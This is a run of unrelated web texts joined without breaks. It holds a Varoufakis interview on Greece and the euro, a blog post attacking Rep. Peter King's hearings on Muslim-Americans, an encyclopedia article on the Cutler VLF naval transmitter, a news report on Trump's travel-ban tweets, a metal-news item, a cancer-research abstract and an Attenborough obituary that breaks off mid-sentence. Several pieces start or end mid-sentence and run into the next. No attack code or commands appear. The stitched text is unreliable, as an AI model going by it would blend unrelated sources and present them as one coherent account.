Moving to the micro level, the observation that, in the case of Greece, real wages fell by 40% but employment dropped precipitously, while exports remained flat, illustrates in Technicolor how useless a microeconomics approach bereft of macro foundations truly is.
Tim Bale, Queen Mary University of London – Do you see any similarities between yourself and Jeremy Corbyn, who looks like he might win the (UK) Labour leadership, and do you think a left-wing populist party is capable of winning an election under a first-past-the-post system?
Varoufakis: The similarity that I feel at liberty to mention is that Corbyn and I, probably, coincided at many demonstrations against the Tory government while I lived in Britain in the 1970s and 1980s, and share many views regarding the calamity that befell working Britons as power shifted from manufacturing to finance. However, all other comparisons must be kept in check.
Syriza was a radical party of the Left that scored a little more than 4% of the vote in 2009. Our incredible rise was due to the collapse of the political “centre” caused by popular discontent at a Great Depression due to a single currency that was never designed to sustain a global crisis, and by the denial of the powers-that-be that this was so.
The much greater flexibility that the Bank of England afforded to Gordon Brown’s and David Cameron’s British governments prevented the type of socio-economic implosion that led Syriza to power and, in this sense, a similarly buoyant radical left party is most unlikely in Britain. Indeed, the Labour Party’s own history, and internal dynamic, will, I am sure, constrain a victorious Jeremy Corbyn in a manner alien to Syriza.
Turning to the first-past-the-post system, had it applied here in Greece, it would have given our party a crushing majority in parliament. It is, therefore, untrue that Labour’s electoral failures are due to this system.
Lastly, allow me to urge caution with the word “populist”. Syriza did not put to Greek voters a populist agenda. “Populists” try to be all things to all people. Our promised benefits extended only to those earning less than £500 per month. If it wants to be popular, Labour cannot afford to be populist either.
Mark Taylor, University of Warwick - Would you agree that Greece does not fulfil the criteria for successful membership of a currency union with the rest of Europe? Wouldn’t it be better if they left now rather than simply papering over the cracks and waiting for another Greek economic crisis to occur in a few years’ time?
Varoufakis: The eurozone’s design was such that even France and Italy could not thrive within it. Under the current institutional design only a currency union east of the Rhine and north of the Alps would be sustainable. Alas, it would constitute a union useless to Germany, as it would fail to protect it from constant revaluation in response to its trade surpluses.
Now, if by “criteria” you meant the Maastricht limits, it is of course clear that Greece did not fulfil them. But then again nor did Italy or Belgium. Conversely, Spain and Ireland did meet the criteria and, indeed, by 2007 the Madrid and Dublin governments were registering deficit, debt and inflation numbers that, according to the official criteria, were better than Germany’s. And yet when the crisis hit, Spain and Ireland sunk into the mire. In short, the eurozone was badly designed for everyone. Not just for Greece.
So should we cut our losses and get out? To answer properly we need to grasp the difference between saying that Greece, and other countries, should not have entered the eurozone, and saying now that we should now exit. Put technically, we have a case of hysteresis: once a nation has taken the path into the eurozone, that path disappeared after the euro’s creation and any attempt to reverse along that, now non-existent, path could lead to a great fall off a tall cliff.There's a well-known truism that those who forget the past are doomed to repeat it. Unwilling to give up his irrational hate of Muslims or the uncomfortable parallels to Senator Joe McCarthy's hearings of the 50s, Rep Peter King is holding hearings beginning Monday on the "threat" of terrorism stemming from Muslim-Americans.
Rep. Peter King of New York defended on Sunday a congressional hearing he will hold this week on the threat of homegrown Islamic terrorism that focuses on Muslim-Americans, calling it an issue "which is not being talked about publicly" and needs to be. "People in this country are being self-radicalized, whether it's Major Hasan or whether it's Shahzad or whether it was Zazi in New York," King said on CNN's "State of the Union." "These were all people who were identifying, in one way or another, with al-Qaeda or al-Qaeda in the Arabian Peninsula. So it's an international movement with elements here in the United States." King was referring to Army Major Nidal Malik Hassan, a military psychiatrist whose shooting rampage at Fort Hood, Texas, in November 2009 claimed 13 lives; Najibullah Zazi, an Afghan-born man living in Colorado charged in 2009 with conspiracy to use weapons of mass destruction; and Faisal Shahzad, a Pakistani-born man living in suburban Connecticut, whose attempt to blow up a bomb in Times Square last June was foiled.
I have no problem whatsoever with the notion of having a hearing on the threats of domestic terrorism, but for cryin' out loud, how intellectually dishonest of King to focus on one religious group and ignore the fact that the vast majority of domestic terrorism comes not from radicalized Muslim-Americans but from radicalized right wingnuts.
Keith Ellison does a yeoman's job trying to temper King's hate-on for Muslims, but this kind of wingnuttery requires a statement from the White House too. So Sunday, we got it:This article is about the naval radio station at Cutler, Maine. For the earlier station with the NAA call sign, located at Arlington, Virginia from 1913-1941, see NAA (defunct)
Closeup of a few of the antenna towers of the Cutler VLF Transmitter.
The Cutler VLF transmitter antenna masts as seen from across the Little Machias Bay at a distance of about 2 miles.
The VLF Transmitter Cutler is the United States Navy's very low frequency (VLF) shore radio station at Cutler, Maine. The station provides one-way communication to submarines in the Navy's Atlantic Fleet, both on the surface and submerged. It transmits with call sign NAA, at a frequency of 24 kHz and input power of up to 1.8 megawatts, and is one of the most powerful radio transmitters in the world.[citation needed]
Establishment at Cutler, Maine [ edit ]
The current Cutler Naval Station was built in 1960 and became operational on January 4, 1961. It has a transmission power of 2 megawatts. As with all VLF stations, the transmitter has a very small bandwidth, and so cannot transmit audio (speech) but only coded text messages, at a relatively low data rate. The transmission consists of a continuously encrypted minimum-shift keying (MSK) signal capable of multi channel operations.[1] The transmitter operates on 24.0 kHz. In the past it operated on 17.8 kHz. The callsign of the station is NAA.
Antenna [ edit ]
Diagram of Cutler antenna array
Isometric drawing of one of the two antenna arrays.
The extensive antenna system consists of two separate identical umbrella antenna arrays, designated the “north array” and the “south array”.
Each array consists of a ring of 13 tall metal masts connected at the top by a network of horizontal cables. The cables form six diamond-shaped "panels" radiating from the central tower in a hexagonal pattern shaped like a snowflake. The two arrays normally operate together as one antenna, but each is designed to function independently to allow maintenance on the other array. The central tower of each antenna system is 304 m (997.5 ft) tall. It is surrounded by six 266.7 m (875 ft) tall masts, placed on a ring with a radius of 556 m around the central tower. The remaining six towers of the array are 243.5 m (799 ft) tall and placed on a circle of 935.7 m (3070 ft) around the central tower.[2]
Each element (“panel”) of the antenna is suspended between the central tower, two towers of the inner ring and one tower of the outer ring. The entire array is 6140 ft (1.871 km or 1.16 miles) in diameter.
This type of antenna array is called a trideco or umbrella antenna, one of the only type of antenna which can radiate power efficiently at the low 24 kHz frequency used. It functions as a capacitively top-loaded electrically short monopole antenna. Vertical wires at the central mast of the antenna radiates the VLF radio waves, while the suspended horizontal cable array functions as a large capacitor, increasing the efficiency of the vertical radiators, At the base of each mast is a star-shaped network of cables suspended a few feet above the ground, extending out hundreds of feet, called a counterpoise, which serves as the bottom plate of the "capacitor".
The climate in Maine results in severe icing of the antenna wires during the winter, resulting in unacceptably large loads on the supporting structures. Therefore, the antennas have a deicing system which runs large 60 Hz electric currents through the wires, heating them, to melt the ice. The power required for deicing is 3 MW, higher than the transmitter output power. An antenna array cannot transmit while it is being deiced, and one reason for having two arrays was to allow one array to be deiced while the other provides crucial uninterrupted transmission capability. Repairs and adjustments to an array can also be made without interrupting transmission.
Antenna maintenance [ edit ]
Antenna maintenance is performed during the summer months. During maintenance periods the station transmits on one array while work is performed on the other array, which is grounded. This allows continuous transmission, crucial since the Navy closed Annapolis (NSS), the only other East Coast VLF station.
The region where the two arrays come close together, near the transmitter house, is called the "bow-tie area". There are two panels and three towers from each array in this area. The fields on the grounded array are highest in the bow-tie area due to proximity to the active array. The present station operating procedure, based on a past RADHAZ survey, does not allow work on the bow-tie area towers or panels while transmitting on the other array. There is an ongoing tower painting project at Cutler scheduled for completion over the next few years. Under the present station policy, completion of this project would require several months of total downtime, which is unacceptable.
Test transmissions have been arranged, during which, only four panels of one array are connected to the transmitter. The objective of the four-panel tests was to allow painting and normal maintenance on the bow-tie area towers of the inactive array. A secondary objective of the tests is to characterize the antenna operating parameters which had not been measured since changing to 24.0 kHz.
See also [ edit ]
References [ edit ]
^ Marten, M. (2007). Spezial-Frequenzliste 2007-2008, Band 2 (in German) (17th ed.). Meckenheim, Germany: Siebel Verlag. p. 36. ISBN 978-3-88180-665-7. ^ Klawitter, G.; Herold, K.; Oexner, M. (2000). Langwellen- und Laengstwellenfunk (in German). Meckenheim, Germany: Siebel Verlag. pp. 82–83. ISBN 3-89632-043-2.
Further reading [ edit ]
Coordinates:President Trump is blaming the airport chaos that followed his controversial executive order temporarily banning immigration from seven predominantly Muslim countries on protesters, a computer outage at Delta Air Lines and Senate Minority Leader Chuck Schumer’s teary-eyed response to the ban.
“Only 109 people out of 325,000 were detained and held for questioning,” Trump tweeted early Monday. “Big problems at airports were caused by Delta computer outage, protesters and the tears of Senator Schumer.”
Only 109 people out of 325,000 were detained and held for questioning. Big problems at airports were caused by Delta computer outage,….. — Donald J. Trump (@realDonaldTrump) January 30, 2017
protesters and the tears of Senator Schumer. Secretary Kelly said that all is going well with very few problems. MAKE AMERICA SAFE AGAIN! — Donald J. Trump (@realDonaldTrump) January 30, 2017
There is nothing nice about searching for terrorists before they can enter our country. This was a big part of my campaign. Study the world! — Donald J. Trump (@realDonaldTrump) January 30, 2017
“I noticed Chuck Schumer yesterday with fake tears,” Trump said before a meeting with small-business leaders at the White House on Monday morning. “I’m going to ask him who was his acting coach. Because I know him very well and I don’t see him as a crier. If he is, he’s a different man.”
Schumer broke down in tears on Sunday as he announced that Democrats are considering legislation to overturn Trump’s order, which bars people from seven countries — Syria, Sudan, Yemen, Iran, Iraq, Libya and Somalia — from entering the United States for 90 days.
“This executive order was mean-spirited and un-American,” Schumer said at a press conference in New York City, where he was surrounded by families affected by the ban. “It was implemented in a way that created chaos and confusion across the country, and it will only serve to embolden and inspire those around the globe who will do us harm.”
The move sparked a wave of protests at airports around the country on Saturday after more than 100 people, including some with current visas, were detained or turned around.
On Saturday night, a federal judge in Brooklyn issued an emergency stay temporarily blocking part of Trump’s order. The decision, which will affect people who have been detained in airports, came after the American Civil Liberties Union and other activist groups filed a class-action lawsuit on behalf of two Iraqis who were held at New York City’s John F. Kennedy International Airport.
People participate in a protest against Trump’s travel ban outside Terminal 4 at John F. Kennedy International Airport in New York City on Saturday night. (Andrew Kelly/Reuters) More
“It is clear from the confusion at our airports across the nation that President Trump’s executive order was not properly vetted,” Sens. John McCain, R-Ariz., and Lindsey Graham, R-S.C., said in a joint statement issued Sunday afternoon. “We are particularly concerned by reports that this order went into effect with little to no consultation with the Departments of State, Defense, Justice and Homeland Security.”
Trump disputed the characterization that the order caused “chaos,” and dismissed criticism that it was issued with little or no warning.
“If the ban were announced with a one week notice, the ‘bad’ would rush into our country during that week,” Trump tweeted Monday. “A lot of bad ‘dudes’ out there!”
If the ban were announced with a one week notice, the "bad" would rush into our country during that week. A lot of bad "dudes" out there! — Donald J. Trump (@realDonaldTrump) January 30, 2017
There is nothing nice about searching for terrorists before they can enter our country. This was a big part of my campaign. Study the world! — Donald J. Trump (@realDonaldTrump) January 30, 2017
He also took a swipe at McCain and Graham, accusing the pair of national security hawks of constantly pushing for “World War III.”Stop me if you've heard this one before, but a friend just sent me a link to a page which tells me what foudning Cannibal Corpse guitarist Bob Rusey has been up to since being "dismissed" from the band in the mid-90s and…of all things… he's a golf instructor!
Rusey is a member of the United States Golf Teachers Federation and has his own profile on the GeoCities-like site which hints at his past without explicitly naming the band (for obvious reasons). His profile reads:
In junior high school I had discovered "music" and the power and exhiliration of a live performance. Shortly ater reaching high school, I was playing in a band and by graduation time I had signed with a major recording label and were were on our way. In the course of eight years, we had put together three full-length albums and toured the United States, Europe, Mexico, and Canada several times and werw were featured in the movie "Ace Ventura, Pet Detective."
More power to Bob. Once leaving the band, he pursued his other passion and made a career out of it. The rest of us could be so lucky. But also, this makes me giggle!
Thanks Lauren B.
Related PostsCancer results from aberrant signaling pathways that result in uncontrolled cellular proliferation. The epidemiological studies have shown a strong inverse correlation between dietary consumption of cruciferous vegetables and incidences of cancer. Isothiocyanates (ITCs) are present in cruciferous vegetables like broccoli, cabbage, watercress, etc. and are identified as the major active constituents. Several mechanistic studies have demonstrated chemopreventive and chemotherapeutic activity of ITCs against various tumor types. ITCs exert anticancer activity by suppressing various critical hallmarks of cancer like cellular proliferation, angiogenesis, apoptosis, metastasis, etc., in vitro as well as in preclinical animal model. ITCs also generate reactive oxygen species to induce apoptosis in cancer cells. Due to promising preclinical results, few ITCs have also advanced to clinical trials. This chapter provides a candid review on the chemopreventive and chemotherapeutic activity of various major ITCs.
© 2015 Elsevier Inc. All rights reserved.Richard Attenborough: 1923-2014 August 24, 2014 |
Lord Richard Attenborough, who passed away earlier today at the age of 90 after several years of failing health, is perhaps best known to American moviegoers for making "Gandhi" (1982), the award-winning biopic of the Indian leader that he struggled to bring to the screen for nearly 20 years, and for his appearance in "Jurassic Park" (1993) as the kindly zillionaire whose plan to bring dinosaurs back to life with genetic engineering goes horribly wrong. However, to limit him to those two credits, significant though they may be, is to do a disservice to one of the more extraordinary screen careers, both in front of and behind the camera, in the entire history of British cinema.
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Attenborough was born in Cambridge on August 29, 1923—one of his two brothers was celebrated documentarian David Attenborough—and went on to study at the Royal Academy of Dramatic Arts, where he would eventually serve as president. In World War II, he would serve in the Royal Air Force's Film Unit, a position that would see him appear opposite Edward G. Robinson in the 1943 propaganda film "Journey Together" and filming bombing raids, the latter of which would contribute to permanent damage to his hearing. His screen debut had actually occurred a year earlier with an appearance in "In Which We Serve," though his credit was accidentally eliminated from the finished film.
After the war, he would return to acting on both the stage and screen and would score his first major film success in the role of would-be gangster Pinkie Brown in the 1947 adaptation of Graham Greene's "Brighton Rock," a part he knew well, having played it on the stage to great acclaim in 1942. Other parts would follow, and, within two years, he would be named in an industry poll as England's sixth-most-popular actor. On the stage, he was, along with wife Sheila Sim, a part of the original cast of a production of Agatha Christie's "The Mousetrap" that would go down as the longest continuously-running play in stage history. Incredibly, Attenborough and his wife had a 10% profit-participation deal that would help make him a wealthy man until he eventually sold off those rights, in part to help finance "Gandhi."
Like so many other British actors, Attenborough eventually made his way to Hollywood and made his American debut as part of the ensemble cast of the 1963 epic "The Great Escape." Over the next two decades, he would become a familiar face through such projects as "The Flight of the Phoenix" (1965), "The Sand Pebbles" (1967) and "Doctor Dolittle" (1968), the latter two of which earned him consecutive Golden Globe awards for Best Supporting Actor. After appearing in "The Human Factor" in 1979, he would give up acting as he grew in prominence as a filmmaker but would step back in front of the cameras in "Jurassic Park," kicking off a mini-revival of his career as an actor that would see him appear in the 1994 remake of "Miracle on 34th St.," "Hamlet" (1996), "The Lost World" (1997) and "Elizabeth" (1998), to name a few
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However, the most notable performance of his entire career as an actor came in 1971 with "10 Rillington Place," a grim docudrama in which he played John Christie, a notorious serial killer in post-war England who raped and killed a neighbor woman (whom he had promised to perform an abortion on) and her daughter, and not only stood by as her mentally deficient husband (John Hurt) was convicted and executed for his crimes as the result of a false confession but went on to murder at least four more women before he was finally caught and hung in 1953. Although the film received mixed reviews when it was originally released, it has grown considerably in stature in subsequent years and is now often cited as one of the most powerful anti-capital punishment films ever made. Much of its power comes from Attenborough's marvelously controlled performance as Christie—despite playing one of the most monstrous people imaginable, he plays him in a perfectly genial and neighborly manner and this, of course, only makes the performance all the more blood-curdling as a result. If one were to make a list of the all-time screen psychopaths, Attenborough's work as Christie deserves to be put right up there with Anthony Perkins in "Psycho" and Anthony Hopkins in "Silence of the Lambs."
At the time that he appeared in "10 Rillington Place," Attenborough was already making the shift from acting in films to directing them. His first directorial effort was "Oh, What A Lovely War" (196 |
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